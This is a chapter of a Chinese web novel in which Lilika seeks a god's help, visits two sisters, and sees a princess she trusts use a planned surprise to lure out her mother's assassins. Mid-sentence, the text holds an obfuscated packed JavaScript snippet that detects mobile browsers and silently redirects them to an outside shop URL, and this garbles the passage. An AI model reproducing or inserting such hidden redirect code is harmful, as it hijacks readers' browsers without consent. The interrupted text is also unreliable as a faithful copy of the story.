40. 海露莎的真面目
作品:《驯服神明死遁后》 离开佩拉戈斯商会后,她念响了去神域的咒语,眼前的场景立刻变换,刚睁开眼就和伊尔打了个照面。神明正在给水池里的锦鲤喂食,见到她来有些意外,鱼食都多撒了些,惹得锦鲤争先恐后地一拥而上,安静的庭院中都是它们溅起池水的甩尾声。
他意识到自己失态了,面上露出些许羞窘的表情。
“看来我打扰你了。”莉莉卡走到喷泉旁,坐在了他身边,顺手捞了几粒对方手中的鱼食,将它们一点点洒进池水中。
“没有,只是祈愿处理完了,随便找点事做而已。”他静静注视着她,眉目不自觉地舒展开来。
莉莉卡拍了拍手中的碎屑:“我是来找你帮忙的。”
伊尔微微诧异:“你说吧。”
“我想让你给乔娜堡的神殿下达立刻转移资源和民众的神谕,原因是不久后灾难会降临。”
“这是什么意思……”他皱眉。
莉莉卡把事情的前因后果说了一遍。
“原来是这样……交给我好了。”
她打量起伊尔来,他……今天心情似乎不错。
伊尔自然是开心的,莉莉卡鲜少和他提要求。
上次离开得匆忙,莉莉卡现在才注意到他垂落在脖颈一侧的头发,轻声感叹道:“两年了啊……”
伊尔注意到她的目光,也瞥了一眼自己的头发说:“是有些长了,你不喜欢吗?”
她摇头:“就是会想起第一次见你的样子,那时的你……”她垂下眼眸,“那时的你总让我觉得下一刻就要陨落了。”
虽然知道他被伊西斯下了不死不灭的诅咒,心中还是酸楚,就是因为这样才想多做一点,让伊尔不再一个人承受这么多。
“帮我剪了吧。”莉莉卡还在难过时,伊尔突然这么说道。
她抬起眼眸,最后笑了。
和先前的害羞不同,伊尔无比镇定地坐在椅子上任由莉莉卡摆弄,他只是在思考,为什么总能在对方身上看到那样的表情,和两年前,她刚从裂隙中掉落时看向他的神情一样。
她好像很痛苦,很难过……
……
随后莉莉卡去找了皇女,她欣然同意了自己的计划。
没过多久,凡尔纳带领夜莺骑士团班师回朝,莉莉卡的受封仪式也在那天举行,二人一同被授予“夜莺”与“阳葵”的兰切斯特勋章,并有权进入议会了。
告知了凡尔纳最近发生的事和接下来的计划后,他们能做的只有等待。她没有闲着,每天都需要为商会提供鲜花,还有忙着帮海露莎置办典仪的事,布朗萝丝使的小绊子不少,好在他们可以一起面对这些。
骑士团的日常训练如旧,营地在黑河附近,莉莉卡顺便拜访了爱丽莎。
“艾瑞尔长这么高啦。”她惊呼,离开的两年她们一直都有书信往来,关系越来越好了。
爱丽莎看着妹妹温柔地笑了起来:“正是长个子的时候,要是还和之前一样高才奇怪呢。”
由于政令的颁布,她们过得肉眼可见的好了起来,不再像以前一样骨瘦嶙峋的。
“海露莎姐姐什么时候来看我们呀!”艾瑞尔的声音听上去成熟了许多,语气依旧跳脱。
海露莎在两年前就和两姐妹说明了自己伊芙丽娜的身份。
“祝圣典仪没过多久就要开始了,殿下忙着典仪的事情,不要去打扰她哦。”爱丽莎对妹妹说。
“我知道的!”艾瑞尔说。
这时,门口传来了敲门声,爱丽莎起身开门,和外面的人交流几句后拿着一篮东西进了屋。
“这是?”莉莉卡问。
她有些为难地开口:“他……有时候会托人送东西来,大概是怕我不收,送的还都是必要的,艾瑞尔正在长身体的时候,还是收下比较好。”
这个“他”不用想就知道是埃尔姆,看爱丽莎的反应似乎和他的关系没那么糟了,但并没有让艾瑞尔知道的想法,只用“他”代替。
其实这样就很不错了,不用让艾瑞尔也背负着仇恨活着。父亲的家族逼死了母亲,导致了现在的处境,这个真相对于一个孩子来说还是太残酷了。
冬日午后的阳光是格外珍贵的,爱丽莎看着在远处读书的艾瑞尔,总是心疼。
“艾瑞尔这些年跟着我真的吃了太多苦了……好在现在不用再担心吃不饱穿不暖,我已经很知足了,不敢奢求太多,只希望她能平安长大。”她看妹妹的目光满是怜爱。
莉莉卡在心中轻叹,姐妹二人都是这么在意彼此,这么想让对方幸福。
“会好的……”她说。就算是为了这样的时光能够多一秒,她也一直会走下去。
……
在莉莉卡和凡尔纳的严防死守下,布朗萝丝并没有找到可趁之机,祝圣典仪有惊无险地落幕了,海露莎在民间的声望更盛。
没过多久,乔娜堡就传来了被泥石流掩埋的消息。帝国百姓这才发现这个小地方的居民早就暂时疏散至别的城镇,并打算在合适的地方重建故乡。
而这时,皇女海露莎从佩拉戈斯商会购入了大批木材用于新城的基础建设,并下派商会成员前来帮忙。因为神术的作用,一座新城在一月内立刻拔地而起,名为新乔娜堡,商会的分会也在此设立了。莉莉卡就在这样一个忙碌的时节度过了自己的二十三岁生日。
为了感谢皇女的援助,城主私下将乔娜堡世代相传的锻造图纸交给了她以报恩情,骑士团不知不觉间换上了看似普通,实则削铁如泥的利剑。
最值得庆贺的还是抑灵石随着乔娜堡的掩埋而不复存在,凡尔纳听到这消息时先是欣喜,随后又想起了离开提灵西亚前与皇女和莉莉卡的争执,自嘲地笑了笑。
议会散场后,凡尔纳和莉莉卡告别海露莎一同出宫,他总算找到机会和她单独说话:“殿下最近好不容易闲下来,要不要带她出去走走。”
“好啊。”她跟着凡尔纳来到橡木街,和他一同商议给皇女的惊喜。
他们在城郊的一片原野上播下了鸢尾花种,莉莉卡通过歌声使这里变成了一片花田,凡尔纳则是干起了在湖中心搭建亭子的体力活,这是莉莉卡根据神域的样子设计的。
大功告成后,凡尔纳还重新拉起了小提琴。
贵公子时候拉琴吟诗的日子过去了很久,当摸上弓弦时,他才注意到自己的手心长了很多茧子,又悻悻放下了琴。
“怎么了?”莉莉卡问。
“没什么,”他垂下了头,“只是觉得这些不太适合我了……”
莉莉卡注意到他在看自己的手,猜到了什么,于是也摊开了自己的手:“你看。”
她的手心也有常年握匕首留下的痕迹,比起凡尔纳好不了多少,只听莉莉卡说:“我为了保护自己,保护大家拿起了武器,但我依旧喜欢唱歌,喜欢弹琴。为什么要考虑自己是否与琴相称?至少我认为你配得上世间最精巧的乐器。”
凡尔纳释然一笑,为自己没来由的退缩不耻。
莉莉卡叹息,他不是一个自卑的人,在皇女面前却不一样,凡尔纳只想让对方看到最好的一面,这样只会失去自我。
他又将小提琴架在了脖子上,凭借过往的记忆移动弓弦,琴声中能听到些许生疏,但很快就找到感觉变得顺畅了,莉莉卡能听出从前对方是很精通琴艺的。
两个人就这样准备了四天,一切就绪后才向海露莎发起了邀请,皇女欣然应允
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765460|188050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
凡尔纳已提前前往城郊,莉莉卡和海露莎则坐着马车去,等二人到达时,远远就看见了对方坐在亭子里的身影。
莉莉卡扶着皇女下马车,就在这时,周边出现了许多带黑色斗篷的人,他们包围了整个花田,一步步朝她们逼近。
她察觉到海露莎并没有因为这片花圃露出一丝欣喜,直到这些刺客出现......
她竟然在为这些不速之客的到来而激动,不,这些人或许就是海露莎引来的。莉莉卡这才明白,皇女是在用她和凡尔纳准备的这些布局。
心一时间跌落到了谷底,迫于步步紧逼的刺客,也只能无奈先对付他们。
凡尔纳在第一时间警戒起来,他立刻拿起剑来到了二人身边,一道剑光闪过,一个黑衣男子倏然倒下,脖子上的血染红了鸢尾花,使它变成了暗沉的颜色。
另外几人见状直奔他们而来,脚步就这样毫不留情地踏遍花园,将鲜嫩的花朵狠狠踩进泥土里。
莉莉卡给皇女施展神术嘱咐她呆在原地,自己则和凡尔纳清理刺客。
花田没过一会儿就被凌虐成光秃秃的一片,四周都是因打斗而翻飞的尘土。水面上晕染出浓重血色,凉亭被敌人的剑气劈断了柱子,放在一旁的小提琴也没有幸免于难。
几番下来后,周围全是刺客的尸体,血液四溅在花叶上格外触目惊心,凡尔纳正打算解决最后一个人,却皇女被拦下了,莉莉卡顺势将那人捆了起来。
“留下他。”海露莎死死盯着斗篷下那双令人憎恶的面孔,恨意抑制不住地涌了上来。
凡尔纳依言放下了剑,将对方打晕了,却见不得松了口气。
莉莉卡在一片死寂中先开了口:“殿下……这些人是你引来的吧。”
海露莎这才注意到四周已经是满目疮痍,再也看不到原来的半分面貌,她刚下马车时一直在思考刺客的事,根本无暇顾及这些花朵是什么样的。
海露莎看向凡尔纳,对方沉默不语,甚至不愿与她对视。他的情绪总是难以隐藏,即便如此,她也从没在凡尔纳脸上见过任何对自己失望的表情,心口突然一阵刺痛。
她觉得好笑,自己本来就是这种人,只是暴露出了一些本性就让他们这么难以接受吗,于是冷冷开口:“是。”
“为什么?”这时凡尔纳说话了,他的眼眶通红,但还是不敢对皇女说狠话,只是说,“我们准备了很久……你不应该什么都不和我们说的。”
皇女看着地上的刺客,往常冷漠的表情在恨意的作用下出现了一点裂口,她笑得可怖:“那又怎么样,我好不容易引出杀死母亲的真凶,牺牲这些又算什么?”
凡尔纳别过头去,闭上了眼睛。
“殿下……你曾经答应过我不会让仇恨成为活在世间的唯一意义,你有想过某一天大仇得报后,究竟会释怀还是陷入更深的虚无之中吗?”莉莉卡哽咽。
“没有仇恨我还有什么!我眼睁睁看着地上这人把毒药灌进了母亲的嘴里!可是她又做错了什么!自她死后,我活在这世间本就没有意义了!”海露莎突然歇斯底里地大喊。
“不是这样的……”莉莉卡摇头。
“莉莉……”一旁的凡尔纳忽然打断了她的质问,他嗓音低哑地说,“走吧……先送殿下回去。”
莉莉卡无奈,即便这样他也在维护海露莎,她不想说什么了,用传送阵将他们送回城中,沮丧的一天就这样没头没尾地了结了。
后来几天的议会上凡尔纳都蔫蔫的,三人除了工作的事物外再也没有任何交流,莉莉卡自请去乔娜堡协助卡修斯建造新城,海露莎很快应允了。
直到一个月后,她收到了一封无名的信件。

